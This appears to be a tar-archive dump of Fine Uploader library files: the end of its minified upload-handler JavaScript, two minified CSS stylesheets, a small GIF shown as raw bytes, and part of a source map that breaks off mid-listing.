o=e.customHeaders.get(t),r=n.getFile(t);i.setRequestHeader("Accept","application/json"),i.setRequestHeader("X-Requested-With","XMLHttpRequest"),i.setRequestHeader("Cache-Control","no-cache"),s||(i.setRequestHeader("Content-Type","application/octet-stream"),i.setRequestHeader("X-Mime-Type",r.type)),qq.each(o,function(e,t){i.setRequestHeader(e,t)})};qq.extend(this,{uploadChunk:function(t,i,r){var a,s,l,d=n._getChunkData(t,i),f=n._createXhr(t,i);o(t);return a=c(t,f),n._registerProgressHandler(t,i,d.size),l=e.paramsStore.get(t),u(t,l,d),r&&(l[e.resume.paramNames.resuming]=!0),s=m(l,f,d.blob,t),g(t,f),f.send(s),a},uploadFile:function(t){var i,o,r,a,s=n.getFile(t);return o=n._createXhr(t),n._registerProgressHandler(t),i=c(t,o),r=e.paramsStore.get(t),a=m(r,o,s,t),g(t,o),o.send(a),i}}),qq.extend(this,new qq.XhrUploadHandler({options:qq.extend({namespace:"traditional"},e),proxy:qq.extend({getEndpoint:e.endpointStore.get},t)})),qq.override(this,function(t){return{finalizeChunks:function(n){return e.chunking.success.endpoint?h(n):t.finalizeChunks(n,qq.bind(q,this,!0))}}})},qq.traditional.AllChunksDoneAjaxRequester=function(e){"use strict";var t,n="POST",i={cors:{allowXdr:!1,expected:!1,sendCredentials:!1},endpoint:null,log:function(e,t){}},o={},r={get:function(e){return i.endpoint}};qq.extend(i,e),t=qq.extend(this,new qq.AjaxRequester({acceptHeader:"application/json",validMethods:[n],method:n,endpointStore:r,allowXRequestedWithAndCacheControl:!1,cors:i.cors,log:i.log,onComplete:function(e,t,n){var i=o[e];delete o[e],n?i.failure(t):i.success(t)}})),qq.extend(this,{complete:function(e,n,r,a){var s=new qq.Promise;return i.log("Submitting All Chunks Done request for "+e),o[e]=s,t.initTransport(e).withParams(r).withHeaders(a).send(n),s}})}}(window);
//# sourceMappingURL=fine-uploader.core.min.js.mapjs/fileupload/fine-uploader.min.css000060400000007777150710775200013354 0ustar00.qq-uploader{position:relative;width:100%}.qq-upload-button{display:block;width:105px;padding:7px 0;text-align:center;background:#800;border-bottom:1px solid #DDD;color:#FFF}.qq-upload-button-hover{background:#C00}.qq-upload-button-focus{outline:#000 dotted 1px}.qq-upload-drop-area,.qq-upload-extra-drop-area{position:absolute;top:0;left:0;width:100%;height:100%;min-height:30px;z-index:2;background:#FF9797;text-align:center}.qq-upload-drop-area span{display:block;position:absolute;top:50%;width:100%;margin-top:-8px;font-size:16px}.qq-upload-extra-drop-area{position:relative;margin-top:50px;font-size:16px;padding-top:30px;height:20px;min-height:40px}.qq-upload-drop-area-active{background:#FF7171}.qq-upload-list{margin:0;padding:0;list-style:none}.qq-upload-list li{margin:0;padding:9px;line-height:15px;font-size:16px;background-color:#FFF0BD}.qq-upload-cancel,.qq-upload-continue,.qq-upload-delete,.qq-upload-failed-text,.qq-upload-file,.qq-upload-pause,.qq-upload-retry,.qq-upload-size,.qq-upload-spinner{margin-right:12px;display:inline}.qq-upload-spinner{display:inline-block;background:url(loading.gif);width:15px;height:15px;vertical-align:text-bottom}.qq-drop-processing{display:block}.qq-drop-processing-spinner{display:inline-block;background:url(processing.gif);width:24px;height:24px;vertical-align:text-bottom}.qq-upload-continue,.qq-upload-delete,.qq-upload-pause{display:inline}.qq-upload-cancel,.qq-upload-continue,.qq-upload-delete,.qq-upload-pause,.qq-upload-retry{color:#000}.qq-upload-cancel,.qq-upload-continue,.qq-upload-delete,.qq-upload-pause,.qq-upload-retry,.qq-upload-size{font-size:12px;font-weight:400}.qq-upload-failed-text{display:none;font-style:italic;font-weight:700}.qq-upload-failed-icon{display:none;width:15px;height:15px;vertical-align:text-bottom}.qq-upload-fail .qq-upload-failed-text{display:inline}.qq-upload-retrying .qq-upload-failed-text{display:inline;color:#D60000}.qq-upload-list li.qq-upload-success{background-color:#5DA30C;color:#FFF}.qq-upload-list li.qq-upload-fail{background-color:#D60000;color:#FFF}.qq-progress-bar{display:block;background:-moz-linear-gradient(top,rgba(30,87,153,1) 0,rgba(41,137,216,1) 50%,rgba(32,124,202,1) 51%,rgba(125,185,232,1) 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0,rgba(30,87,153,1)),color-stop(50%,rgba(41,137,216,1)),color-stop(51%,rgba(32,124,202,1)),color-stop(100%,rgba(125,185,232,1)));background:-webkit-linear-gradient(top,rgba(30,87,153,1) 0,rgba(41,137,216,1) 50%,rgba(32,124,202,1) 51%,rgba(125,185,232,1) 100%);background:-o-linear-gradient(top,rgba(30,87,153,1) 0,rgba(41,137,216,1) 50%,rgba(32,124,202,1) 51%,rgba(125,185,232,1) 100%);background:-ms-linear-gradient(top,rgba(30,87,153,1) 0,rgba(41,137,216,1) 50%,rgba(32,124,202,1) 51%,rgba(125,185,232,1) 100%);background:linear-gradient(to bottom,rgba(30,87,153,1) 0,rgba(41,137,216,1) 50%,rgba(32,124,202,1) 51%,rgba(125,185,232,1) 100%);width:0;height:15px;border-radius:6px;margin-bottom:3px}.qq-total-progress-bar{height:25px;border-radius:9px}.qq-total-progress-bar-container{margin:9px}INPUT.qq-edit-filename{position:absolute;opacity:0;filter:alpha(opacity=0);z-index:-1;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"}.qq-upload-file.qq-editable{cursor:pointer}.qq-edit-filename-icon.qq-editable{display:inline-block;cursor:pointer}.qq-hide,.qq-uploader DIALOG{display:none}INPUT.qq-edit-filename.qq-editing{position:static;margin-top:-5px;margin-right:10px;margin-bottom:-5px;opacity:1;filter:alpha(opacity=100);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"}.qq-edit-filename-icon{display:none;background:url(edit.gif);width:15px;height:15px;vertical-align:text-bottom;margin-right:5px}.qq-uploader DIALOG[open]{display:block}.qq-uploader DIALOG .qq-dialog-buttons{text-align:center;padding-top:10px}.qq-uploader DIALOG .qq-dialog-buttons BUTTON{margin-left:5px;margin-right:5px}.qq-uploader DIALOG .qq-dialog-message-selector{padding-bottom:10px}.qq-uploader DIALOG::backdrop{background-color:rgba(0,0,0,.7)}/*# sourceMappingURL=fine-uploader.min.css.map */js/fileupload/retry.gif000060400000000255150710775200011142 0ustar00GIF89a�ffe�����۠��ZZY��É�����NNM}}}������qqqBBA���!�,Z�ɩ�<S.�z7F�	H�$C��R&�a��$��0�"
Z.�h��@c�h0�F�� @R!�`�x\F%r;��
Kz�I�	�JC�E��";js/fileupload/fine-uploader-new.min.css000060400000012072150710775200014123 0ustar00.qq-btn,.qq-upload-button{box-shadow:0 1px 1px rgba(255,255,255,.37) inset,1px 0 1px rgba(255,255,255,.07) inset,0 1px 0 rgba(0,0,0,.36),0 -2px 12px rgba(0,0,0,.08) inset}.qq-btn{padding:3px 4px;border:1px solid #CCC;border-radius:2px;color:inherit;background-color:#FFF}.qq-upload-delete{background-color:#e65c47;color:#FAFAFA;border-color:#dc523d;text-shadow:0 1px 1px rgba(0,0,0,.55)}.qq-upload-delete:hover{background-color:#f56b56}.qq-upload-cancel{background-color:#F5D7D7;border-color:#e6c8c8}.qq-upload-cancel:hover{background-color:#ffe1e1}.qq-upload-retry{background-color:#EBF6E0;border-color:#d2ddc7}.qq-upload-retry:hover{background-color:#f7ffec}.qq-upload-continue,.qq-upload-pause{background-color:#00ABC7;color:#FAFAFA;border-color:#2dadc2;text-shadow:0 1px 1px rgba(0,0,0,.55)}.qq-upload-continue:hover,.qq-upload-pause:hover{background-color:#0fbad6}.qq-upload-button{display:inline;width:105px;margin-bottom:10px;padding:7px 10px;text-align:center;float:left;background:#00ABC7;color:#FFF;border-radius:2px;border:1px solid #2dadc2}.qq-upload-button-hover{background:#33B6CC}.qq-upload-button-focus{outline:#000 dotted 1px}.qq-uploader{position:relative;min-height:200px;max-height:490px;overflow-y:hidden;width:inherit;border-radius:6px;background-color:#FDFDFD;border:1px dashed #CCC;padding:20px}.qq-uploader:before{content:attr(qq-drop-area-text) " ";position:absolute;font-size:200%;left:0;width:100%;text-align:center;top:45%;opacity:.25}.qq-upload-drop-area,.qq-upload-extra-drop-area{position:absolute;top:0;left:0;width:100%;height:100%;min-height:30px;z-index:2;background:#F9F9F9;border-radius:4px;border:1px dashed #CCC;text-align:center}.qq-upload-drop-area span{display:block;position:absolute;top:50%;width:100%;margin-top:-8px;font-size:16px}.qq-upload-extra-drop-area{position:relative;margin-top:50px;font-size:16px;padding-top:30px;height:20px;min-height:40px}.qq-upload-drop-area-active{background:#FDFDFD;border-radius:4px;border:1px dashed #CCC}.qq-upload-list{margin:0;padding:0;list-style:none;max-height:450px;overflow-y:auto;box-shadow:0 1px 0 rgba(15,15,50,.14);clear:both}.qq-upload-list li{margin:0;padding:9px;line-height:15px;font-size:16px;color:#424242;background-color:#F6F6F6;border-top:1px solid #FFF;border-bottom:1px solid #DDD}.qq-upload-list li:first-child{border-top:none}.qq-upload-list li:last-child{border-bottom:none}.qq-upload-cancel,.qq-upload-continue,.qq-upload-delete,.qq-upload-failed-text,.qq-upload-file,.qq-upload-pause,.qq-upload-retry,.qq-upload-size,.qq-upload-spinner{margin-right:12px;display:inline}.qq-upload-file{vertical-align:middle;display:inline-block;width:300px;text-overflow:ellipsis;white-space:nowrap;overflow-x:hidden;height:18px}.qq-upload-spinner{display:inline-block;background:url(loading.gif);width:15px;height:15px;vertical-align:text-bottom}.qq-drop-processing{display:block}.qq-drop-processing-spinner{display:inline-block;background:url(processing.gif);width:24px;height:24px;vertical-align:text-bottom}.qq-upload-cancel,.qq-upload-continue,.qq-upload-delete,.qq-upload-pause,.qq-upload-retry,.qq-upload-size{font-size:12px;font-weight:400;cursor:pointer;vertical-align:middle}.qq-upload-status-text{font-size:14px;font-weight:700;display:block}.qq-upload-failed-text{display:none;font-style:italic;font-weight:700}.qq-upload-failed-icon{display:none;width:15px;height:15px;vertical-align:text-bottom}.qq-upload-fail .qq-upload-failed-text,.qq-upload-retrying .qq-upload-failed-text{display:inline}.qq-upload-list li.qq-upload-success{background-color:#EBF6E0;color:#424242;border-bottom:1px solid #D3DED1;border-top:1px solid #F7FFF5}.qq-upload-list li.qq-upload-fail{background-color:#F5D7D7;color:#424242;border-bottom:1px solid #DECACA;border-top:1px solid #FCE6E6}.qq-progress-bar{display:block;background:#00abc7;width:0;height:15px;border-radius:6px;margin-bottom:3px}.qq-total-progress-bar{height:25px;border-radius:9px}.qq-total-progress-bar-container{margin-left:9px;display:inline;float:right;width:500px}INPUT.qq-edit-filename{position:absolute;opacity:0;filter:alpha(opacity=0);z-index:-1;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"}.qq-upload-file.qq-editable{cursor:pointer;margin-right:4px}.qq-edit-filename-icon.qq-editable{display:inline-block;cursor:pointer}.qq-hide,.qq-uploader DIALOG{display:none}INPUT.qq-edit-filename.qq-editing{position:static;height:28px;padding:0 8px;margin-right:10px;margin-bottom:-5px;border:1px solid #ccc;border-radius:2px;font-size:16px;opacity:1;filter:alpha(opacity=100);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"}.qq-edit-filename-icon{display:none;background:url(edit.gif);width:15px;height:15px;vertical-align:text-bottom;margin-right:16px}.qq-thumbnail-selector{vertical-align:middle;margin-right:12px}.qq-uploader DIALOG[open]{display:block}.qq-uploader DIALOG .qq-dialog-buttons{text-align:center;padding-top:10px}.qq-uploader DIALOG .qq-dialog-buttons BUTTON{margin-left:5px;margin-right:5px}.qq-uploader DIALOG .qq-dialog-message-selector{padding-bottom:10px}.qq-uploader DIALOG::backdrop{background-color:rgba(0,0,0,.7)}/*# sourceMappingURL=fine-uploader-new.min.css.map */js/fileupload/fine-uploader.core.min.js.map000060400001562072150710775200014676 0ustar00{"version":3,"sources":["?","../client/js/util.js","../client/js/export.js","../client/js/error/error.js","../client/js/version.js","../client/js/features.js","../client/js/promise.js","../client/js/blob-proxy.js","../client/js/button.js","../client/js/upload-data.js","../client/js/uploader.basic.api.js","../client/js/uploader.basic.js","../client/js/ajax.requester.js","../client/js/upload-handler/upload.handler.js","../client/js/upload-handler/upload.handler.controller.js","../client/js/window.receive.message.js","../client/js/upload-handler/form.upload.handler.js","../client/js/upload-handler/xhr.upload.handler.js","../client/js/deletefile.ajax.requester.js","../client/js/image-support/megapix-image.js","../client/js/image-support/image.js","../client/js/image-support/exif.js","../client/js/identify.js","../client/js/image-support/validation.image.js","../client/js/session.js","../client/js/session.ajax.requester.js","../client/js/image-support/scaler.js","../client/js/third-party/ExifRestorer.js","../client/js/total-progress.js","../client/js/paste.js","../client/js/form-support.js","../client/js/traditional/traditional.form.upload.handler.js","../client/js/traditional/traditional.xhr.upload.handler.js","../client/js/traditional/all-chunks-done.ajax.requester.js"],"names":["global","qq","element","hide","style","display","this","attach","type","fn","addEventListener","attachEvent","detach","removeEventListener","detachEvent","contains","descendant","compareDocumentPosition","insertBefore","elementB","parentNode","remove","removeChild","css","styles","Error","opacity","filter","Math","round","extend","hasClass","name","considerParent","re","RegExp","test","className","addClass","removeClass","replace","getByClass","first","candidates","result","querySelector","querySelectorAll","getElementsByTagName","each","idx","val","push","getFirstByClass","children","child","firstChild","nodeType","nextSibling","setText","text","innerText","textContent","clearText","hasAttribute","attrName","attrVal","exec","getAttribute","undefined","canvasToBlob","canvas","mime","quality","dataUriToBlob","toDataURL","dataUri","arrayBuffer","byteString","intArray","mimeString","createBlob","data","BlobBuilder","window","WebKitBlobBuilder","MozBlobBuilder","MSBlobBuilder","blobBuilder","append","getBlob","Blob","split","indexOf","atob","decodeURI","ArrayBuffer","length","Uint8Array","character","charCodeAt","log","message","level","console","isObject","variable","Object","prototype","toString","call","isFunction","isArray","value","buffer","constructor","isItemList","maybeItemList","isNodeList","maybeNodeList","item","namedItem","isString","maybeString","trimStr","string","String","trim","format","str","args","Array","slice","arguments","newStr","nextIdxToReplace","strBefore","substring","strAfter","isFile","maybeFile","File","isFileList","maybeFileList","FileList","isFileOrInput","maybeFileOrInput","isInput","maybeInput","notFile","evaluateType","normalizedType","toLowerCase","HTMLInputElement","tagName","isBlob","maybeBlob","isXhrUploadSupported","input","document","createElement","multiple","FormData","createXhrInstance","upload","XMLHttpRequest","ActiveXObject","error","isFolderDropSupported","dataTransfer","items","webkitGetAsEntry","isFileChunkingSupported","androidStock","webkitSlice","mozSlice","sliceBlob","fileOrBlob","start","end","slicer","arrayBufferToHex","bytesAsHex","bytes","byt","byteAsHexStr","readBlobToHex","blob","startOffset","initialBlob","fileReader","FileReader","promise","Promise","onload","success","onerror","failure","readAsArrayBuffer","second","extendNested","prop","override","target","sourceFn","super_","source","srcPropName","srcPropVal","arr","elt","from","len","hasOwnProperty","getUniqueId","c","r","random","v","ie","navigator","userAgent","ie7","ie8","ie10","ie11","edge","safari","vendor","chrome","opera","firefox","windows","platform","android","ios6","ios","ios7","ios8","ios800","iosChrome","iosSafari","iosSafariWebView","preventDefault","e","returnValue","toElement","div","html","innerHTML","iterableItem","callback","keyOrIndex","retVal","Storage","key","getItem","charAt","bind","oldFunc","context","newArgs","concat","apply","obj2url","obj","temp","prefixDone","uristrings","prefix","add","nextObj","i","nextTemp","encodeURIComponent","join","obj2FormData","formData","arrayKeyName","obj2Inputs","form","setAttribute","appendChild","parseJson","json","JSON","parse","eval","getExtension","filename","extIdx","lastIndexOf","substr","getFilename","blobOrFileInput","fileName","DisposeSupport","disposers","dispose","disposer","shift","addDisposer","disposeFunction","define","amd","module","exports","version","supportedFeatures","testSupportsFileInputElement","tempInput","supported","disabled","ex","isChrome21OrHigher","match","isChrome14OrHigher","isCrossOriginXhrSupported","xhr","withCredentials","isXdrSupported","XDomainRequest","isCrossOriginAjaxSupported","isFolderSelectionSupported","webkitdirectory","isLocalStorageSupported","localStorage","setItem","isDragAndDropSupported","span","supportsUploading","supportsUploadingBlobs","supportsFileDrop","supportsAjaxFileUploading","supportsFolderDrop","supportsChunking","supportsResume","supportsUploadViaPaste","supportsUploadCors","supportsDeleteFileXdr","supportsDeleteFileCorsXhr","supportsDeleteFileCors","supportsFolderSelection","supportsImagePreviews","supportsUploadProgress","postMessage","ajaxUploading","blobUploading","canDetermineSize","chunking","deleteFileCors","deleteFileCorsXdr","deleteFileCorsXhr","dialogElement","HTMLDialogElement","fileDrop","folderDrop","folderSelection","imagePreviews","imageValidation","itemSizeValidation","pause","progressBar","resume","scaling","tiffPreviews","unlimitedScaledImageSize","uploading","uploadCors","uploadCustomHeaders","uploadNonMultipart","uploadViaPaste","isGenericPromise","maybePromise","then","successArgs","failureArgs","successCallbacks","failureCallbacks","doneCallbacks","state","onSuccess","onFailure","done","BlobProxy","referenceBlob","onCreate","create","UploadButton","o","createInput","BUTTON_ID_ATTR_NAME","buttonId","options","title","self","setMultiple","folders","acceptFiles","position","right","top","fontFamily","fontSize","margin","padding","cursor","height","disposeSupport","onChange","hoverClass","focusClass","ios8BrowserCrashWorkaround","overflow","direction","getInput","getButtonId","isMultiple","optInput","removeAttribute","setAcceptFiles","reset","UploadData","uploaderProxy","getDataByIds","idOrIds","entries","id","getDataByUuids","uuids","uuid","byUuid","getDataByStatus","status","statusResults","statuses","index","statusEnum","statusResultIndexes","byStatus","dataIndex","byProxyGroupId","byBatchId","addFile","spec","SUBMITTING","originalName","size","batchId","proxyGroupId","onStatusChange","retrieve","optionalFilter","setStatus","newStatus","oldStatus","byStatusOldStatusIndex","splice","uuidChanged","newUuid","oldUuid","updateName","newName","updateSize","newSize","setParentId","targetId","parentId","getIdsInProxyGroup","getIdsInBatch","SUBMITTED","REJECTED","QUEUED","CANCELED","PAUSED","UPLOADING","UPLOAD_RETRYING","UPLOAD_SUCCESSFUL","UPLOAD_FAILED","DELETE_FAILED","DELETING","DELETED","basePublicApi","addBlobs","blobDataOrArray","params","endpoint","addFiles","addInitialFiles","cannedFileList","cannedFile","_addCannedFile","_maybeHandleIos8SafariWorkaround","_storedIds","_currentBatchId","processBlob","_handleNewFile","_options","blobs","defaultName","verifiedFiles","processBlobData","blobData","processCanvas","processCanvasData","canvasData","normalizedQuality","processFileOrInput","fileOrInput","files","file","normalizeData","fileContainer","_prepareItemsForUpload","cancel","_handler","cancelAll","storedIdsCopy","storedFileId","clearStoredFiles","continueUpload","uploadData","_uploadData","enabled","getName","_uploadFile","deleteFile","_onSubmitDelete","doesExist","fileOrBlobId","isValid","drawThumbnail","fileId","imgOrCanvas","maxSize","fromServer","customResizeFunction","fileOrUrl","promiseToReturn","_imageGenerator","_thumbnailUrls","scale","getFile","container","generate","modifiedContainer","reason","getButton","_getButton","_buttonIdsForFileIds","getEndpoint","_endpointStore","get","getInProgress","getParentId","uploadDataEntry","getUploads","getResumableFilesData","getSize","getNetUploads","_netUploaded","getRemainingAllowedItems","allowedItems","_currentItemLimit","_netUploadedOrQueued","getUuid","debug","pauseUpload","_autoRetries","_retryTimeouts","_preventRetries","_buttons","button","_paramsStore","_pasteHandler","session","refreshOnReset","_refreshSessionData","_succeededSinceLastAllComplete","_failedSinceLastAllComplete","_totalProgress","retry","_manualRetry","scaleImage","specs","Scaler","setCustomHeaders","headers","_customHeadersStore","set","setDeleteFileCustomHeaders","_deleteFileCustomHeadersStore","setDeleteFileEndpoint","_deleteFileEndpointStore","setDeleteFileParams","_deleteFileParamsStore","setEndpoint","setForm","elementOrId","_updateFormSupportAndParams","setItemLimit","newItemLimit","setName","setParams","setUuid","uploadStoredFiles","_itemError","_uploadStoredFiles","basePrivateApi","sessionData","deleteFileEndpoint","deleteFileParams","thumbnailUrl","_annotateWithButtonId","associatedInput","qqButtonId","_getButtonId","_batchError","callbacks","onError","_createDeleteHandler","DeleteFileAjaxRequester","method","toUpperCase","maxConnections","uuidParamName","request","uuidName","customHeaders","paramsStore","endpointStore","cors","onDelete","_onDelete","onDeleteComplete","xhrOrXdr","isError","_onDeleteComplete","_createPasteHandler","PasteSupport","targetElement","paste","pasteReceived","_handleCheckedCallback","onPasteReceived","_handlePasteSuccess","identifier","_createStore","initialValue","_readOnlyValues_","store","catchall","perIdReadOnlyValues","readOnlyValues","copy","orig","getReadOnlyValues","includeReadOnlyValues","existing","values","addReadOnly","_createUploadDataTracker","_onUploadStatusChange","_maybeAllComplete","setTimeout","_createUploadButton","allowMultiple","workarounds","iosEmptyVideos","_isAllowedExtension","allowedExtensions","accept","validation","classes","buttonFocus","buttonHover","ios8BrowserCrash","inputName","_onInputChange","fileInputTitle","_disposeSupport","_createUploadHandler","additionalOptions","namespace","lastOnProgress","preventRetryParam","preventRetryResponseProperty","onProgress","loaded","total","_onProgress","onComplete","_onComplete","onCancel","cancelFinalizationEffort","_onCancel","onUploadPrep","_onUploadPrep","onUpload","_onUpload","onUploadChunk","chunkData","_onUploadChunk","onUploadChunkSuccess","onResume","onAutoRetry","responseJSON","_onAutoRetry","onUuidChanged","setSize","_setSize","getDataByUuid","isQueued","UploadHandlerController","_fileOrBlobRejected","_formatSize","max","toFixed","sizeSymbols","_generateExtraButtonSpecs","_extraButtonSpecs","extraButtons","extraButtonOptionEntry","extraButtonSpec","_initExtraButton","extraButtonsSpec","_defaultButtonId","buttonOrFileInputOrFile","inputs","fileInput","fileBlobOrInput","_getNotFinished","_getValidationBase","_getValidationDescriptor","fileWrapper","_getValidationDescriptors","fileWrappers","fileDescriptors","_handleCameraAccess","camera","acceptIosCamera","optionRoot","details","callbackRetVal","successParam","newFileWrapperList","actualFile","handler","_customNewFileHandler","_handleNewFileGeneric","addFileToHandler","_trackButton","fileList","extSuppliedName","extension","_initFormSupportAndParams","_formSupport","FormSupport","attachedToForm","getFormInputsAsObject","autoUpload","newAutoUpload","newEndpoint","_isDeletePossible","expected","allowXdr","allowed","valid","allowedExt","extRegex","code","maybeNameOrNames","replacement","extensionsForMessage","placeholderMatch","messages","names","validationBase","allowedExtension","formatFileName","sizeLimit","minSizeLimit","placeholder","_onBeforeManualRetry","notFinished","_onAllComplete","ios8SafariUploads","alert","unsupportedBrowserIos8Safari","_maybeParseAndSendUploadError","response","errorReason","defaultResponseError","_maybeProcessNextItemAfterOnValidateCallback","validItem","stopOnFirstInvalidFile","validationDescriptor","onValidate","_onValidateCallbackSuccess","_onValidateCallbackFailure","successful","failed","onAllComplete","_shouldAutoRetry","_onBeforeAutoRetry","autoAttemptDelay","itemLimit","onManualRetry","clearTimeout","storedItemIndex","expunge","fileIndex","onIndividualProgress","_onSubmit","_onSubmitCallbackSuccess","_onSubmitted","onSubmitted","_storeForLater","onSuccessCallback","additionalMandatedParams","adjustedOnSuccessCallback","onSubmitDelete","_deleteHandler","sendDelete","_onTotalProgress","onTotalProgress","_onValidateBatchCallbackFailure","_onValidateBatchCallbackSuccess","validationDescriptors","errorMessage","proposedNetFilesUploadedOrQueued","tooManyItemsError","nextIndex","_validateFileOrBlobData","_upload","onValidateBatch","_preventLeaveInProgress","event","onLeave","Session","_session","addFileRecord","refresh","_sessionRequestComplete","onSessionRequestComplete","onNewSize","enableAuto","maxAutoAttempts","formElementOrId","onSubmit","idToUpload","stillSubmitting","validityChecker","ImageValidation","validate","image","errorCode","_wrapCallbacks","safeCallback","errorMsg","exception","callbackName","callbackFunc","FineUploaderBasic","disableCancelForFormUploads","filenameParam","forceMultipart","paramsInBody","totalFileSizeName","maxHeight","maxWidth","minHeight","minWidth","maybeXhr","maybeXhrOrXdr","attemptNumber","fileOrBlobData","typeError","sizeError","minSizeError","emptyError","noFilesError","maxHeightImageError","maxWidthImageError","minHeightImageError","minWidthImageError","retryFailTooManyItems","concurrent","mandatory","paramNames","partIndex","partByteOffset","chunkSize","totalFileSize","totalParts","partSize","recordsExpireIn","resuming","fileOrBlobName","sendCredentials","interceptSubmit","customResizer","sendOriginal","orient","defaultType","defaultQuality","failureText","includeExif","sizes","ImageGenerator","_scaler","handleNewFile","TotalProgress","entry","AjaxRequester","isSimpleMethod","containsNonSimpleHeaders","containsNonSimple","header","isXdr","getCorsAjaxTransport","ontimeout","onprogress","getXhrOrXdr","suppliedXhr","requestData","dequeue","nextId","queue","sendRequest","xdrError","isResponseSuccessful","getParams","onDemandParams","additionalParams","mandatedParams","optXhr","url","payload","onSend","createUrl","additionalQueryParams","getXdrLoadHandler","getXdrErrorHandler","onreadystatechange","getXhrReadyStateChangeHandler","registerForUploadProgress","open","setHeaders","send","shouldParamsBeInQueryString","contentType","stringify","addToPath","readyState","lengthComputable","onDemandHeaders","additionalHeaders","allHeaders","acceptHeader","setRequestHeader","allowXRequestedWithAndCacheControl","responseCode","successfulResponseCodes","prepareToSend","validMethods","DELETE","PATCH","POST","PUT","GET","initTransport","path","cacheBuster","withPath","appendToPath","withParams","withQueryParams","_additionalQueryParams_","withHeaders","withPayload","thePayload","withCacheBuster","qqtimestamp","Date","getTime","canceled","UploadHandler","proxy","fileState","fileItem","onCancelRetVal","getThirdPartyFileId","_getFileState","_setThirdPartyFileId","thirdPartyFileId","_wasCanceled","preventRetryResponse","controller","chunkingPossible","concurrentChunkingPossible","chunked","chunkIdx","_getChunkData","attemptingResume","chunkProgress","_getChunkDataForCallback","finalize","finalizeChunks","normaizedResponse","normalizeResponse","_maybeDeletePersistedChunkData","cleanup","hasMoreParts","remaining","nextPart","nextIdx","_getTotalChunks","reevaluateChunking","sendNext","inProgressChunks","inProgress","connectionManager","available","uploadChunk","clearCachedChunk","responseToReport","inProgressChunkIdx","_maybePersistChunkedState","inProgressIdx","unshift","ignoreFailure","keys","_getXhrs","ckid","ckXhr","abort","_cancelled","moveInProgressToRemaining","free","clearXhr","_open","_openChunks","_waiting","openChunkEntriesCount","openChunksCount","openChunkIndexes","dontAllowNext","allowNext","waitingIndex","connectionsIndex","getProxyOrBlob","getWaitingOrConnected","waitingOrConnected","chunks","parseInt","isUsingConnection","pop","openChunksEntry","simple","uploadFile","maybeNewUuid","_clearXhrs","getProxy","initHandler","handlerType","traditional","handlerModuleSubtype","_removeExpiredChunkingRecords","isDeferredEligibleForUpload","maybeDefer","generatedBlob","updateBlob","maybeSendDeferredFiles","errorResponse","idsInGroup","uploadedThisId","idInGroup","now","originalResponse","_shouldChunkThisFile","blobToUpload","cancelRetVal","isProxied","isResumable","WindowReceiveMessage","callbackWrapperDetachers","receiveMessage","onMessageCallbackWrapper","stopReceivingMessages","detacher","FormUploadHandler","expungeFile","detachLoadEvents","isCors","postMessageCallbackTimers","corsMessageReceiver","iframe","getElementById","_getIframeName","getFileIdForIframeName","iframeName","initIframeForUpload","body","registerPostMessageCallback","onloadCallbacks","onloadCallback","_parseJsonResponse","_detachLoadEvent","formHandlerInstanceId","_attachLoadEvent","responseDescriptor","contentDocument","_createIframe","_initFormForUpload","targetName","innerHtmlOrMessage","XhrUploadHandler","xhrId","ajaxRequester","_getAjaxRequester","chunkFiles","resumeEnabled","blobOrProxy","_initTempState","_maybePrepareForResume","cachedChunks","tempState","xhrs","ajaxRequesters","responseParser","lastChunkIdx","_getXhr","resumableFilesData","_iterateResumeRecords","notResumable","optInProgress","optRemaining","reverse","paused","totalChunks","parts","newBlob","chunkId","_createXhr","optChunkIdx","_registerXhr","chunkIndex","fileSize","startBytes","endBytes","part","count","startByte","endByte","_getLocalStorageId","formatVersion","_getMimeType","_getPersistableData","ceil","_markNotResumable","localStorageId","removeItem","persistedData","lastUpdated","_registerProgressHandler","progressCalculator","totalSuccessfullyLoadedForFile","loadedForRequest","totalForRequest","estActualChunkLoaded","totalLoadedForFile","chunkLoaded","optAjaxRequester","xhrsId","expirationDays","expirationDate","setDate","getDate","getMandatedParams","_method","requester","detectSubsampling","img","ctx","iw","naturalWidth","ih","naturalHeight","width","getContext","drawImage","getImageData","detectVerticalSquash","alpha","ratio","sy","ey","py","renderImageToDataURL","doSquash","renderImageToCanvas","maybeCalculateDownsampledDimensions","maxPixels","origHeight","origWidth","newHeight","sqrt","newWidth","modifiedDimensions","save","resize","renderImageToCanvasWithCustomResizer","imageHeight","imageWidth","orientation","targetHeight","targetWidth","transformCoordinate","tmpCtx","sx","dx","d","tmpCanvas","vertSquashRatio","dw","dh","dy","clearRect","restore","qqImageRendered","resizeInfo","sourceCanvas","sourceCanvasContext","targetCanvas","translate","rotate","PI","MegaPixImage","srcImage","errorCallback","Image","URL","createObjectURL","webkitURL","src","listeners","imageLoadListeners","render","opt","imgWidth","imgHeight","optionsKey","optionsValue","oldTargetSrc","onrender","isImg","el","isCanvas","isImgCorsSupported","crossOrigin","isCanvasSupported","determineMimeOfFileName","nameWithPath","pathSegments","isCrossOrigin","targetProtocol","targetHostname","targetPort","targetAnchor","href","protocol","port","hostname","location","registerImgLoadListeners","registerCanvasDrawImageListener","registerThumbnailRenderedListener","registered","draw","drawPreview","Identify","megapixErrorHandler","isPreviewable","dummyExif","exif","Exif","mpImg","Orientation","failureMsg","drawOnCanvasOrImgFromUrl","canvasOrImg","tempImg","tempImgRender","drawOnImgFromUrlWithCssScaling","drawFromUrl","fileBlobOrUrl","_testing","parseLittleEndian","hex","pow","seekToApp1","offset","theOffset","thePromise","segmentLength","getApp1Offset","isLittleEndian","app1Start","getDirEntryCount","littleEndian","getIfd","dirEntries","getDirEntries","ifdHex","getTagValues","TAG_VAL_OFFSET","tagsToFind","TAG_IDS","vals","tagValHex","tagValLength","idHex","tagsToFindIdx","TAG_INFO","274","parser","onParseFailure","app1Offset","dirEntryCount","tagValues","isIdentifiable","magicBytes","questionableBytes","identifiable","magicBytesEntries","magicBytesArrayEntry","previewable","isPreviewableSync","PREVIEWABLE_MIME_TYPES","fileMime","isRecognizedImage","image/jpeg","image/gif","image/png","image/bmp","image/tiff","hasNonZeroLimits","limits","atLeastOne","limit","getWidthHeight","sizeDetermination","getFailingLimit","dimensions","failingLimit","limitName","limitValue","limitMatcher","dimensionPropName","actualValue","validationEffort","isJsonResponseValid","handleFileItems","fileItems","someItemsIgnored","err","refreshEffort","refreshC